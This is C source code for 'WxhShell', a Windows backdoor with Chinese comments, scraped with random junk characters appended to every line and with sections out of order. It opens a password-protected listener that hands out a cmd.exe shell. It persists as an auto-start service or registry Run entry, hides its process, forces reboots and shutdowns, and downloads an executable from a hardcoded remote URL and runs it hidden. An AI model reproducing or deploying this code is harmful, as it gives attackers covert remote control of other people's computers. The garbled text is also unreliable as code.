  case 'd': { tK&.0)*=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )2X ng_,  
    if(Boot(SHUTDOWN)) X-di^%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZyqTtA!A  
    else { JL1%XQ i  
    closesocket(wsh); }z&P^p)R  
    ExitThread(0); Y[8w0ve- g  
    } J.x>*3< l  
    break; nbYkr*: "t  
    } H3 _7a9  
  // 获取shell FAu G`zu  
  case 's': { }I7/FqrD  
    CmdShell(wsh); ;??wLNdf-  
    closesocket(wsh); Mj$dDtw  
    ExitThread(0); fSp(}'m2L  
    break; 3mn0  
  } JWG7QH  
  // 退出 pt8X.f,iA  
  case 'x': { EmNB}\IYU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +P6#7.p`Z  
    CloseIt(wsh); R<mLG $  
    break; z;x `dOP  
    } amf=uysr  
  // 离开 MBCA%3z08  
  case 'q': { mQ#@"9l%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3nBbPP_  
    closesocket(wsh); uPe4Rr  
    WSACleanup(); lh* m(  
    exit(1); GK}?*Lf s  
    break; z) 5n&w S  
        } =y7]9SOq  
  } fiTMS:  
  } fmie,[  
jG{} b6  
  // 提示信息 %5RYa<oP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @M4~,O6-  
} uAyj##H  
  } Pi6C1uY6  
|bDN~c:/  
  return; K G~](4JE(  
} O#A1)~  
< W,k$|w  
// shell模块句柄 w;Qo9=-  
int CmdShell(SOCKET sock) qce#  
{ 8 Oeg"d  
STARTUPINFO si; k=Ef)'  
ZeroMemory(&si,sizeof(si)); eEJ8j_G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; # RJy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'O`jV0aa'  
PROCESS_INFORMATION ProcessInfo; ;:*o P(9k  
char cmdline[]="cmd"; {549&]/o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "}K/ b  
  return 0; h_]3L/  
} 6K P!o  
5S7`gN.  
// 自身启动模式 1 7{]QuqNF  
int StartFromService(void) ,?B.+4CW\E  
{ ^iubqtT]  
typedef struct %R;cXs4r  
{ cFUYT$8>  
  DWORD ExitStatus; d^ !3bv*h  
  DWORD PebBaseAddress; UVu"meZX  
  DWORD AffinityMask; |dD!@K  
  DWORD BasePriority;  -/  
  ULONG UniqueProcessId; zx(j6  
  ULONG InheritedFromUniqueProcessId; Kggf!\MR8  
}   PROCESS_BASIC_INFORMATION; 1:7>Em<s  
D4'? V Iz  
PROCNTQSIP NtQueryInformationProcess; v\-"NHl  
sNvT0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $?Aez/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t@.gmUUA  
7OtQK`P"A  
  HANDLE             hProcess; `P/*x[?  
  PROCESS_BASIC_INFORMATION pbi; U`6QD}c"s  
G !1- 20  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f'FY<ed<w  
  if(NULL == hInst ) return 0; V@>?lv(\  
NJUYeim;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -f9M*7O<gf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K?[pCF2C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [tMf KO  
Tc:W=\<  
  if (!NtQueryInformationProcess) return 0; - |[_j$g  
?xQ lX%&`6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d?N"NqaN  
  if(!hProcess) return 0; no?)GQ  
p w>A Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zp4ru\  
?%Y?z ]L#  
  CloseHandle(hProcess); 3!Qt_,  
~n[LL)v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7gVWu"  
if(hProcess==NULL) return 0; )SA$hwR  
%hrv~=  
HMODULE hMod; Qb|w\xT^Y  
char procName[255]; $:u,6|QsS=  
unsigned long cbNeeded; 2Fx<QRz  
hQL9 Zl~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); puqLXDjA/  
:VN<,1s9p^  
  CloseHandle(hProcess); Od&M^;BQ  
WKah$l  
if(strstr(procName,"services")) return 1; // 以服务启动 MCh8Q|Yx4  
8~HC0o\2  
  return 0; // 注册表启动 b V9Z[[\  
} >.{ ..~"K  
(X!/tw,.  
// 主模块 p~8~EQFj  
int StartWxhshell(LPSTR lpCmdLine) 3]N}k|lb%  
{ M8[YW|VkP  
  SOCKET wsl; @O45s\4-*  
BOOL val=TRUE; hsqUiB tc6  
  int port=0; W$'pUhq\H  
  struct sockaddr_in door; C9=f=sGL  
J$e.$ah;  
  if(wscfg.ws_autoins) Install(); MT6kJDyLu  
,o9)ohw  
port=atoi(lpCmdLine); !5B9:p~-  
~5!ukGK_  
if(port<=0) port=wscfg.ws_port; pK'WJ 72U  
EW5S%Y  
  WSADATA data; b,Z& P|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g~B@=R  
+W;B8^imG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `n5c|`6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E<\\'VF  
  door.sin_family = AF_INET; *<Ddn&_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \^#1~Kx  
  door.sin_port = htons(port); DGd&x^C  
L//sJe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5ef&Ih.3  
closesocket(wsl); mlVv3mVyR<  
return 1; 8fe"#^"sR  
}  g u|;C  
_O!D*=I  
  if(listen(wsl,2) == INVALID_SOCKET) { "^XN"SUw  
closesocket(wsl); Q}=RG//0*  
return 1; 3Aj_,&X.@(  
} c%Gz{':+  
  Wxhshell(wsl); eGTK^p  
  WSACleanup(); 8PEOi  
g rfF\_[:  
return 0; .R gfP'M  
gZ+I(o{  
} %ly;2H Ik  
i;xg[e8.  
// 以NT服务方式启动  Nl_;l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j}VOr >xz  
{ |wLQ)y*  
DWORD   status = 0; cbwzT0  
  DWORD   specificError = 0xfffffff;  *$cp"  
xc/|#TC8?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <GNOT"z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l?R_wu,Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0l:5hD,)F  
  serviceStatus.dwWin32ExitCode     = 0; eXOFAd]>u  
  serviceStatus.dwServiceSpecificExitCode = 0; (C3d<a\:  
  serviceStatus.dwCheckPoint       = 0; (D l"s`UH~  
  serviceStatus.dwWaitHint       = 0; bv+e'$U3  
* QR7t:([  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^LNc  
  if (hServiceStatusHandle==0) return; u}:O[DG  
XBY"7}  
status = GetLastError(); h7y*2:l6  
  if (status!=NO_ERROR) CYn}wkz  
{ c|.:J]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PaDT)RrEM  
    serviceStatus.dwCheckPoint       = 0; 0iL8i#y*  
    serviceStatus.dwWaitHint       = 0; <+$S{Z.  
    serviceStatus.dwWin32ExitCode     = status; `UI)H*GA8  
    serviceStatus.dwServiceSpecificExitCode = specificError; > Qtyw.n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .lFSFJ??  
    return; h4qR\LX  
  } gU~)(|Nu.  
up1aFzY|6x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; # _7c>gn  
  serviceStatus.dwCheckPoint       = 0; X3-1)|g !z  
  serviceStatus.dwWaitHint       = 0; nB]Q^~jX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X,N@`  
}  \1MDCP9:  
+,-r b  
// 处理NT服务事件,比如:启动、停止 {+[gf:Ev  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  qN QsU  
{ [T%blaSX  
switch(fdwControl) @TprS d  
{ !K 9(OX2;  
case SERVICE_CONTROL_STOP: yJL"uleRT  
  serviceStatus.dwWin32ExitCode = 0; p)jxqg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AFFLnLA<L  
  serviceStatus.dwCheckPoint   = 0; "pPNlV]UA^  
  serviceStatus.dwWaitHint     = 0; ye%F <:O7  
  { e)xWQ=,C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2)A D'  
  } S|J8:-  
  return; VM!x)i9z  
case SERVICE_CONTROL_PAUSE: mTPj@F>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CHU'FSq!  
  break; **q/'K  
case SERVICE_CONTROL_CONTINUE: /trc&V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h+W^k+~(  
  break; bS'r}  
case SERVICE_CONTROL_INTERROGATE: )q^vitkjup  
  break; 10J*S[n1  
}; (J4utw Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %:,=J  
} d<Os TA  
!LJ.L?9qw  
// 标准应用程序主函数 :=Q|gRTL*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +)@>60y  
{ 9y5 \4&v  
]x G8vy  
// 获取操作系统版本 <e^/hR4O  
OsIsNt=GetOsVer(); DPwSg\*)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #'8PFw\zw  
SIl g  
  // 从命令行安装 7&3URglsL"  
  if(strpbrk(lpCmdLine,"iI")) Install(); nX~MoWH1  
-!0LIr:"  
  // 下载执行文件 vxeT[/6i  
if(wscfg.ws_downexe) { LasH[:QQQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r$F]e]Ic\  
  WinExec(wscfg.ws_filenam,SW_HIDE); p.9v<I%0  
} y]l"u=$Tr{  
;Kf|a}m-  
if(!OsIsNt) { %RN-J*s]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ay_D.gxz  
HideProc(); #H[ 4?4r  
StartWxhshell(lpCmdLine); _PM<25Y,@  
} nnG2z@$-  
else ?6QJP|kE  
  if(StartFromService()) hwzUCh 5!  
  // 以服务方式启动 g#4gGhI  
  StartServiceCtrlDispatcher(DispatchTable); +V@=G &Ou0  
else ~Z]vr6?$h  
  // 普通方式启动 i .N1Cvp&  
  StartWxhshell(lpCmdLine); !_9$[Oq~  
$vBU}~l7  
return 0; (L >[,YO9  
} >, E$bm2  
 9+QrTO  
5E!m! nBZ  
hU 7fZl%yl  
=========================================== ]M(mq`K  
sZ"U=6R  
*d@Hnu"q  
/[? F1Q  
~vGtNMQg  
`z_7[$\~  
" EKPTDKut  
;J(,F:N  
#include <stdio.h> rcZ SC3  
#include <string.h> eeU$uR  
#include <windows.h> jw[BtRW  
#include <winsock2.h> XKX,7  
#include <winsvc.h> 4Aew )   
#include <urlmon.h> $ rYS   
&=Zg0Q  
#pragma comment (lib, "Ws2_32.lib") />Vx*^u8Hz  
#pragma comment (lib, "urlmon.lib") } 4]<P  
F2$bUY  
#define MAX_USER   100 // 最大客户端连接数  <%D"eD  
#define BUF_SOCK   200 // sock buffer X`n0b<  
#define KEY_BUFF   255 // 输入 buffer b 0b9#9x  
qffSq](D.  
#define REBOOT     0   // 重启 f_!`~`04  
#define SHUTDOWN   1   // 关机 L~{Vt~H9"  
K$cIVsfr  
#define DEF_PORT   5000 // 监听端口 g/,Bx!'8p  
B  bw1k  
#define REG_LEN     16   // 注册表键长度 SECQVA_y`  
#define SVC_LEN     80   // NT服务名长度 5TneuGD  
V;-.38py  
// 从dll定义API Ue#yDTjc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =Rx?6%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J,G9m4Z7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cXcx_-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (VaN\+I:T  
RVnyl`s  
// wxhshell配置信息 h+3Z.WKhwP  
struct WSCFG { YC&jKx.>  
  int ws_port;         // 监听端口 g0j4<\F2\  
  char ws_passstr[REG_LEN]; // 口令 loUwR z  
  int ws_autoins;       // 安装标记, 1=yes 0=no ` G=L07  
  char ws_regname[REG_LEN]; // 注册表键名 )H9*NB8%  
  char ws_svcname[REG_LEN]; // 服务名 :6$4K"^1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bmVgTm&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W)!{U(X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2nU NI U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iW@Vw{|i I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1m`tqlFU9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7~ese+\smG  
DRW.NL o  
}; i!W8Q$V  
S@xsAib0J  
// default Wxhshell configuration pLQSG}N  
struct WSCFG wscfg={DEF_PORT, !mxh]x<e  
    "xuhuanlingzhe", o9LD6$  
    1, 1O2h9I$bk  
    "Wxhshell", %DRy&k/T  
    "Wxhshell", ]jVSsSv  
            "WxhShell Service", bp>ps@zFq  
    "Wrsky Windows CmdShell Service", ; G59}d p~  
    "Please Input Your Password: ", ^ wF@6e7/&  
  1, Q^Z<RA(C  
  "http://www.wrsky.com/wxhshell.exe", ?>.g;3E$  
  "Wxhshell.exe" _'hCUXeY'  
    }; KTK6#[8A  
|5IY`;+9  
// 消息定义模块 )~.&bEm\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W,/C?qFp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {,f!'i&b@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :.S41S   
char *msg_ws_ext="\n\rExit."; \+Rwm:lI  
char *msg_ws_end="\n\rQuit."; qi SEnRG.  
char *msg_ws_boot="\n\rReboot..."; Gr#rM/AfCK  
char *msg_ws_poff="\n\rShutdown..."; k<'vP{  
char *msg_ws_down="\n\rSave to "; /GuS IZg"_  
;2Ad])  
char *msg_ws_err="\n\rErr!"; ju^"vw  
char *msg_ws_ok="\n\rOK!"; TFC!u 0Y"$  
rZ.a>'T4  
char ExeFile[MAX_PATH]; dI0bTw|s/  
int nUser = 0; J7?)$,ij%  
HANDLE handles[MAX_USER]; ]v@tZ}  
int OsIsNt; Iwt2}E(e  
R'9@A\7#  
SERVICE_STATUS       serviceStatus; IN|i)?r h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,-7/]h,l  
9<A\npD  
// 函数声明 HcBH!0  
int Install(void); j,56Lh%1  
int Uninstall(void); pl#o!j(i  
int DownloadFile(char *sURL, SOCKET wsh); ^wO_b'@v  
int Boot(int flag); UJz4>JF  
void HideProc(void); Wl !!5\  
int GetOsVer(void); Y!a+#N!  
int Wxhshell(SOCKET wsl); a0?iR5\  
void TalkWithClient(void *cs); t$y&=v  
int CmdShell(SOCKET sock); !HR2Rfl  
int StartFromService(void); lNaez3  
int StartWxhshell(LPSTR lpCmdLine); Ie2w0Cs28  
.hQ3A"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =tf@4_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [)H,zpl  
Vgqvvq<S  
// 数据结构和表定义 [^U;  
SERVICE_TABLE_ENTRY DispatchTable[] = xV,4U/ T  
{ c#n4zdQd]5  
{wscfg.ws_svcname, NTServiceMain}, /+4^.Q*  
{NULL, NULL} FU5LY XCs  
}; Z9"{f)T  
\2R`q*a+  
// 自我安装 4h;f>BG  
int Install(void) {V%%^Zhwy  
{ [/AdeR  
  char svExeFile[MAX_PATH]; k,;lyE  
  HKEY key; Pu$kj"|q*[  
  strcpy(svExeFile,ExeFile); Th~3mf #  
-Ap2NpZ"t  
// 如果是win9x系统,修改注册表设为自启动 1=/doo{^  
if(!OsIsNt) { # Z|%0r_~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Bk[p/\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E?Qz/*'zv  
  RegCloseKey(key); ) ]/i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zj9bSDVL(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I3G*+6V  
  RegCloseKey(key); ~jp!"f  
  return 0; +H[}T ]  
    } _Sly7_  
  } 0+K`pS'  
} v7o?GQ75  
else { I 9{40_  
*`+<x  
// 如果是NT以上系统,安装为系统服务 ;!l*7}5X=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #gX%X~w$F  
if (schSCManager!=0) 3R<ME c  
{ IW1GhZ41'  
  SC_HANDLE schService = CreateService tA! M  
  ( 79{.O`v  
  schSCManager, MPKpS3VS  
  wscfg.ws_svcname, ~j/bCMEf!  
  wscfg.ws_svcdisp, XlPK3^'N)h  
  SERVICE_ALL_ACCESS, <pTQpU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , er[" NSo  
  SERVICE_AUTO_START, u[V4OU}%  
  SERVICE_ERROR_NORMAL, fqcU5l[v,  
  svExeFile, .Bb$j=  
  NULL, 9?u9wuH  
  NULL, i"%JFj_G  
  NULL, u Q[vgNe*m  
  NULL, wO^$!zB W  
  NULL i7S>RB  
  ); .)i O Du  
  if (schService!=0) f$1Gu  
  { CN\|_y  
  CloseServiceHandle(schService); K/f>f;c  
  CloseServiceHandle(schSCManager); }mKGuCoH>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hFsA_x+L;  
  strcat(svExeFile,wscfg.ws_svcname); jzl?e[qPA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aUypt(dv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .mvB99P{<  
  RegCloseKey(key); :`+|'*b(A  
  return 0; Smq r q  
    } IvEMg2f}  
  } 2YL`3cgfb  
  CloseServiceHandle(schSCManager); 94~"U5oQ:  
} 4*0:bhhhf_  
} H!unIy|  
vnz[w=U  
return 1; TpJg-F  
} Zg)_cRR   
snXB`U C  
// 自我卸载 5z1\#" B[  
int Uninstall(void) ~A8qeaP  
{ D ?Nd; [  
  HKEY key; 4 t&gW  
>EBZ$X  
if(!OsIsNt) { WW//heJe-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x`]Of r'  
  RegDeleteValue(key,wscfg.ws_regname); 8O~0RYk  
  RegCloseKey(key); lo cW_/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0zg2g!lh  
  RegDeleteValue(key,wscfg.ws_regname); XMt u"K  
  RegCloseKey(key); jMN)?6$=  
  return 0; u|(Ux~O  
  } 4^0d)+Ff  
} w+t#Yb\7  
} 7V~ "x&Eu  
else { `%$8cZ-kr  
_R EqT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `+roQX.p  
if (schSCManager!=0) C1h#x'k  
{ Of-C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8<YX7e  
  if (schService!=0) #$LH2?)  
  { rlR !&  
  if(DeleteService(schService)!=0) { seu ~'s-  
  CloseServiceHandle(schService); } sf YCz  
  CloseServiceHandle(schSCManager); Z8&4z.6_  
  return 0; WHp97S'd  
  } TNh=4xQ}  
  CloseServiceHandle(schService); ^ Xm/  
  } X.s*>'  
  CloseServiceHandle(schSCManager); yt. f!"  
} 9GO}&7   
} '#O;mBPNi  
3Bejp+xX  
return 1; A/!<kp{S  
} 0yn[L3x7  
i][f#e4  
// 从指定url下载文件 F 4GP7]  
int DownloadFile(char *sURL, SOCKET wsh) Dt W*n1Bt  
{ `&7mHa61  
  HRESULT hr; #":: ' ?,  
char seps[]= "/"; -7k[Vg?  
char *token; DeH0k[o  
char *file; ^uia`sOP4  
char myURL[MAX_PATH]; },rav]  
char myFILE[MAX_PATH]; e,EK,,iY5  
|)9thIQF  
strcpy(myURL,sURL); !6M Bxg>  
  token=strtok(myURL,seps); ar Q)%W  
  while(token!=NULL) -^yXLa;D  
  { kB8 Mi  
    file=token; N*Yy&[  
  token=strtok(NULL,seps); 2R~6<W+&:>  
  } ndr)3tuYu  
d]8_l1O  
GetCurrentDirectory(MAX_PATH,myFILE); Q8;#_HE  
strcat(myFILE, "\\"); (/&;jV2DD[  
strcat(myFILE, file); Nu@5 kwH  
  send(wsh,myFILE,strlen(myFILE),0); G%S6$@:  
send(wsh,"...",3,0); tmp6hB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bMsECA&  
  if(hr==S_OK) 8q0I:SJy  
return 0; y=w`w>%  
else ?KCivf  
return 1; {J2#eiF  
N&"QKd l  
} "# 2pT H~  
@}(SR\~N]  
// 系统电源模块 _lXt8}:+  
int Boot(int flag) zDB" r  
{ dXl]Pe|v  
  HANDLE hToken; |k6Ox*  
  TOKEN_PRIVILEGES tkp; Axlm<3<wf"  
R"Kz!NTB  
  if(OsIsNt) { L x.jrF|&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cJ. 7Mt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lkb2?2\+  
    tkp.PrivilegeCount = 1; _%{0?|=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .$Y? W<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oE1M/*myS  
if(flag==REBOOT) { {SJsA)9:#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )B;M  
  return 0; i E9\_MA  
} m<{"}4'  
else { KnJx{8@z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C`NmZwL  
  return 0; +i.u< T  
} r!kLV)_  
  } MWs~#ReZ  
  else { hk_g2g  
if(flag==REBOOT) { @ .gPJMA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F}'wH-qp  
  return 0; X'x3esw w  
} v5T`K=qC  
else { \,R!S/R#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MU1E_"Z)  
  return 0; 1[SA15h  
} - IU4#s  
} s)k y/ce  
)t%h[0{{  
return 1; ?ok)>P  
} eLV.qLBUs  
#dxvz^2V.3  
// win9x进程隐藏模块 /;l[I=VI  
void HideProc(void) .*Vkua  
{ B`{mdjMy  
DtI$9`~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `*aBRwvK~  
  if ( hKernel != NULL ) +AoP{ x$Ia  
  { U; U08/y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g*y/j]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z]=8eV\  
    FreeLibrary(hKernel); v L}T~_=3  
  } 1`JB)9P  
3+(z_!Qh  
return; ?YBaO,G9o  
} $7NCb7%/L  
*~2cG;B"e  
// 获取操作系统版本 Pu;yEh  
int GetOsVer(void) L^FcS\r;  
{ t'g^W  
  OSVERSIONINFO winfo; % 5z gd>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DnFjEP^  
  GetVersionEx(&winfo); XA{F:%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m5*[t7@%  
  return 1; :Fe_,[FR  
  else BvK QlT  
  return 0; I9 &lO/c0  
} f*m[|0qI<X  
/e1(? 20  
// 客户端句柄模块 oa`#RC8N  
int Wxhshell(SOCKET wsl) {DwIjy31T  
{ m#\[m<F  
  SOCKET wsh; VEs5;]#<2D  
  struct sockaddr_in client; G\=_e8(  
  DWORD myID; TH4\HY9qa?  
(0L=AxH  
  while(nUser<MAX_USER) vtyx`F f  
{ "^Rv#  
  int nSize=sizeof(client); YQd:M%$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CU$#0f>  
  if(wsh==INVALID_SOCKET) return 1; I[D8""U  
}y6q\#G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n]yEdL/1  
if(handles[nUser]==0) 4 1t)(+r  
  closesocket(wsh); +Gh7^v|"  
else =a$Oecg?  
  nUser++; u =J&~  
  } Ef@,hX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {( tHk_q  
#;Tz[0  
  return 0; O{]9hm(tN  
} >jTp6tu,  
)D/ 6%]O  
// 关闭 socket =\3Tv  
void CloseIt(SOCKET wsh) 7L3ik;>  
{ Riry_   
closesocket(wsh); Kq)MTlP0g  
nUser--; Y)|N"f;  
ExitThread(0); uQ/h'v  
} (sTuG}  
BRv x[u  
// 客户端请求句柄 BVpO#c~I  
void TalkWithClient(void *cs) PaWr[ye  
{  L,LNv  
ST dNM\+  
  SOCKET wsh=(SOCKET)cs; #FH[hRo=6  
  char pwd[SVC_LEN]; 1/Zh^foG  
  char cmd[KEY_BUFF]; {38bv. 3'  
char chr[1]; -{jdn%Y7CK  
int i,j; ytAWOt}`  
q(IQa@$SR  
  while (nUser < MAX_USER) { `T&jPA9eY  
~nY]o"8D  
if(wscfg.ws_passstr) { L.'}e{ldW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .u z|/Zy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s!B/WsK  
  //ZeroMemory(pwd,KEY_BUFF); $E!J:Y=  
      i=0; gm)@c2?.  
  while(i<SVC_LEN) { g(E"4M@t!  
/)3Lnn{W  
  // 设置超时 r'7LR  
  fd_set FdRead; 9jir* UI  
  struct timeval TimeOut; [g|Y7.j8  
  FD_ZERO(&FdRead); EHf\L  
  FD_SET(wsh,&FdRead); fS&6  
  TimeOut.tv_sec=8; %;xOB^H^  
  TimeOut.tv_usec=0; BMyzjteS+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `Ityi}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5@~|*g[  
'@nbqM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4,p;Km&  
  pwd=chr[0]; rf &M!d}!  
  if(chr[0]==0xd || chr[0]==0xa) { |I;$M;'r&  
  pwd=0; gb|Q%LS9R  
  break; )?! [}t  
  } 9LC&6Q5O&  
  i++; #'baPqdO  
    } 0MF}^"R  
[^YA=K hu  
  // 如果是非法用户,关闭 socket e GL1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {-/^QX]6  
}  AnBJ(h  
G\d$x4CVGc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8jlLUG:g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yY).mxRN  
;E^K.6  
while(1) { ZJW[?V\5=  
Ta=s:trP  
  ZeroMemory(cmd,KEY_BUFF); @@G6p($  
-e GL)M  
      // 自动支持客户端 telnet标准   W!Gdf^Yy<  
  j=0; $tqJ/:I  
  while(j<KEY_BUFF) { T#@lDpO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y[};J vk  
  cmd[j]=chr[0]; K>:]Bx#F7  
  if(chr[0]==0xa || chr[0]==0xd) { xgu `Q`~  
  cmd[j]=0; cf_|nL#9  
  break; x3+oAb@o/  
  } d~J-|yyT  
  j++; Hy:V`>  
    } YIhm$A"z0"  
VSX@e|Nj  
  // 下载文件 K6JVg$  
  if(strstr(cmd,"http://")) { :nN1e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W*DVi_\$y  
  if(DownloadFile(cmd,wsh)) =<@2#E)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75T_Dx(H  
  else h"mi"H^o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ji1HV1S  
  } {@Yb%{+  
